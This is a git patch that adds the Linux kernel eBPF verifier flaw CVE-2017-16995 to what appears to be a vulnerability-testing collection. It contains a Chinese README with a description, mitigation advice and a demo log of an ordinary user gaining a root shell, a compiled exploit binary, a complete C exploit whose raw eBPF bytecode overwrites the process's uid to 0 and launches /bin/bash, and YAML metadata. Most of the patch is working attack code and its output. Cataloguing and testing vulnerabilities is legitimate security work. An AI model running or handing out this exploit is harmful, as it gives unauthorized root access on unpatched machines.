From 4722df197983ca582dc4fc2e1400ec2855766233 Mon Sep 17 00:00:00 2001 From: gyf Date: Fri, 14 Apr 2023 02:30:24 -0700 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0CVE-2017-16995?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2017/CVE-2017-16995/README.md | 68 +++++ cve/linux-kernel/2017/CVE-2017-16995/exploit | Bin 0 -> 14032 bytes .../2017/CVE-2017-16995/exploit.c | 247 ++++++++++++++++++ .../2017/yaml/CVE-2017-16995.yaml | 20 ++ openkylin_list.yaml | 1 + 5 files changed, 336 insertions(+) create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/README.md create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/exploit create mode 100644 cve/linux-kernel/2017/CVE-2017-16995/exploit.c create mode 100644 cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml diff --git a/cve/linux-kernel/2017/CVE-2017-16995/README.md b/cve/linux-kernel/2017/CVE-2017-16995/README.md new file mode 100644 index 00000000..3c6dc332 --- /dev/null +++ b/cve/linux-kernel/2017/CVE-2017-16995/README.md @@ -0,0 +1,68 @@ + +# Linux Kernel Version 4.14 - 4.4 (Ubuntu && Debian) + +## 描述 + +该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。漏洞由Google project zero发现。 + +## 漏洞编号 +CVE-2017-16995 + +## 威胁等级 +高危 + +## 演示 + +``` +bearcat@ubuntu:/opt$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 16.04.4 LTS +Release: 16.04 +Codename: xenial +bearcat@ubuntu:/opt$ uname -a +Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +bearcat@ubuntu:/opt$ id +uid=1000(bearcat) gid=1000(bearcat) groups=1000(bearcat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) +bearcat@ubuntu:/opt$ ls +exploit.c +bearcat@ubuntu:/opt$ gcc exploit.c -o exploit +bearcat@ubuntu:/opt$ ./exploit +task_struct = ffff88003a0db800 +uidptr = ffff8800374b76c4 +spawning root shell +root@ubuntu:/opt# id +uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(bearcat) +root@ubuntu:/opt# +``` + +## 修复建议 + +1.目前暂未有明确的补丁升级方案。 建议用户在评估风险后,通过修改内核参数限制普通用户使用bpf(2)系统调用: + + 设置参数“kernel.unprivileged_bpf_disabled = 1”通过限制对bpf(2)调用的访问来防止这种特权升级 + +  `root@Ubuntu# echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled` + +2.相关代码补丁 + https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f + +## 相关链接 + +http://cyseclabs.com/exploits/upstream44.c + +https://security-tracker.debian.org/tracker/CVE-2017-16995 + +https://www.securityfocus.com/bid/102288 + +https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor?utmcampaign=General%20website&utmcontent=67375488&utmmedium=social&utmsource=twitter + +https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc= + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f + +https://cert.360.cn/warning/detail?id=119f849891f2a1b5deef65f99923ab5a + +https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f + +https://github.com/jas502n/Ubuntu-0day diff --git a/cve/linux-kernel/2017/CVE-2017-16995/exploit b/cve/linux-kernel/2017/CVE-2017-16995/exploit new file mode 100644 index 0000000000000000000000000000000000000000..7e0bd2f184df236c62d1f4bd8bfc513d14e1ecde GIT binary patch literal 14032 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 +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define PHYS_OFFSET 0xffff880000000000 +#define CRED_OFFSET 0x5f8 +#define UID_OFFSET 4 +#define LOG_BUF_SIZE 65536 +#define PROGSIZE 328 + +int sockets[2]; +int mapfd, progfd; + +char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" + "\x55\x09\x02\x00\xff\xff\xff\xff" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x18\x19\x00\x00\x03\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x00\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x06\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x01\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x07\x00\x00\x00\x00\x00\x00" + "\xbf\x91\x00\x00\x00\x00\x00\x00" + "\xbf\xa2\x00\x00\x00\x00\x00\x00" + "\x07\x02\x00\x00\xfc\xff\xff\xff" + "\x62\x0a\xfc\xff\x02\x00\x00\x00" + "\x85\x00\x00\x00\x01\x00\x00\x00" + "\x55\x00\x01\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x79\x08\x00\x00\x00\x00\x00\x00" + "\xbf\x02\x00\x00\x00\x00\x00\x00" + "\xb7\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x03\x00\x00\x00\x00\x00" + "\x79\x73\x00\x00\x00\x00\x00\x00" + "\x7b\x32\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x55\x06\x02\x00\x01\x00\x00\x00" + "\x7b\xa2\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00" + "\x7b\x87\x00\x00\x00\x00\x00\x00" + "\x95\x00\x00\x00\x00\x00\x00\x00"; + +char bpf_log_buf[LOG_BUF_SIZE]; + +static int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) { + union bpf_attr attr = { + .prog_type = prog_type, + .insns = (__u64)insns, + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = (__u64)license, + .log_buf = (__u64)bpf_log_buf, + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries) { + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +static int bpf_update_elem(uint64_t key, uint64_t value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)&key, + .value = (__u64)&value, + .flags = 0, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +static int bpf_lookup_elem(void *key, void *value) { + union bpf_attr attr = { + .map_fd = mapfd, + .key = (__u64)key, + .value = (__u64)value, + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +static void __exit(char *err) { + fprintf(stderr, "error: %s\n", err); + exit(-1); +} + +static void prep(void) { + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); + if (mapfd < 0) + __exit(strerror(errno)); + + progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, + (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); + + if (progfd < 0) + __exit(strerror(errno)); + + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) + __exit(strerror(errno)); + + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) + __exit(strerror(errno)); +} + +static void writemsg(void) { + char buffer[64]; + + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) + fprintf(stderr, "short write: %lu\n", n); +} + +#define __update_elem(a, b, c) \ + bpf_update_elem(0, (a)); \ + bpf_update_elem(1, (b)); \ + bpf_update_elem(2, (c)); \ + writemsg(); + +static uint64_t get_value(int key) { + uint64_t value; + + if (bpf_lookup_elem(&key, &value)) + __exit(strerror(errno)); + + return value; +} + +static uint64_t __get_fp(void) { + __update_elem(1, 0, 0); + + return get_value(2); +} + +static uint64_t __read(uint64_t addr) { + __update_elem(0, addr, 0); + + return get_value(2); +} + +static void __write(uint64_t addr, uint64_t val) { + __update_elem(2, addr, val); +} + +static uint64_t get_sp(uint64_t addr) { + return addr & ~(0x4000 - 1); +} + +static void pwn(void) { + uint64_t fp, sp, task_struct, credptr, uidptr; + + fp = __get_fp(); + if (fp < PHYS_OFFSET) + __exit("bogus fp"); + + sp = get_sp(fp); + if (sp < PHYS_OFFSET) + __exit("bogus sp"); + + task_struct = __read(sp); + + if (task_struct < PHYS_OFFSET) + __exit("bogus task ptr"); + + printf("task_struct = %lx\n", task_struct); + + credptr = __read(task_struct + CRED_OFFSET); // cred + + if (credptr < PHYS_OFFSET) + __exit("bogus cred ptr"); + + uidptr = credptr + UID_OFFSET; // uid + if (uidptr < PHYS_OFFSET) + __exit("bogus uid ptr"); + + printf("uidptr = %lx\n", uidptr); + __write(uidptr, 0); // set both uid and gid to 0 + + if (getuid() == 0) { + printf("spawning root shell\n"); + system("/bin/bash"); + exit(0); + } + + __exit("not vulnerable?"); +} + +int main(int argc, char **argv) { + prep(); + pwn(); + + return 0; +} diff --git a/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml new file mode 100644 index 00000000..fea42afb --- /dev/null +++ b/cve/linux-kernel/2017/yaml/CVE-2017-16995.yaml @@ -0,0 +1,20 @@ +id: CVE-2017-16995 +source: https://github.com/C0dak/CVE-2017-16995 +info: + name: Linux内核是Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + 该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。 + scope-of-influence: + linux_kernel 4.4 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2017-16995 + - https://github.com/C0dak/CVE-2017-16995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2017-16995 + cwe-id: CWE-119 + cnvd-id: None + kve-id: None + tags: kernel, Privelege Escalation diff --git a/openkylin_list.yaml b/openkylin_list.yaml index a39bab91..b9c7605c 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -75,6 +75,7 @@ cve: - CVE-2019-13272 - CVE-2020-12351 - CVE-2021-43267 + - CVE-2017-16995 sudo: - CVE-2019-18634 - CVE-2021-3156 -- Gitee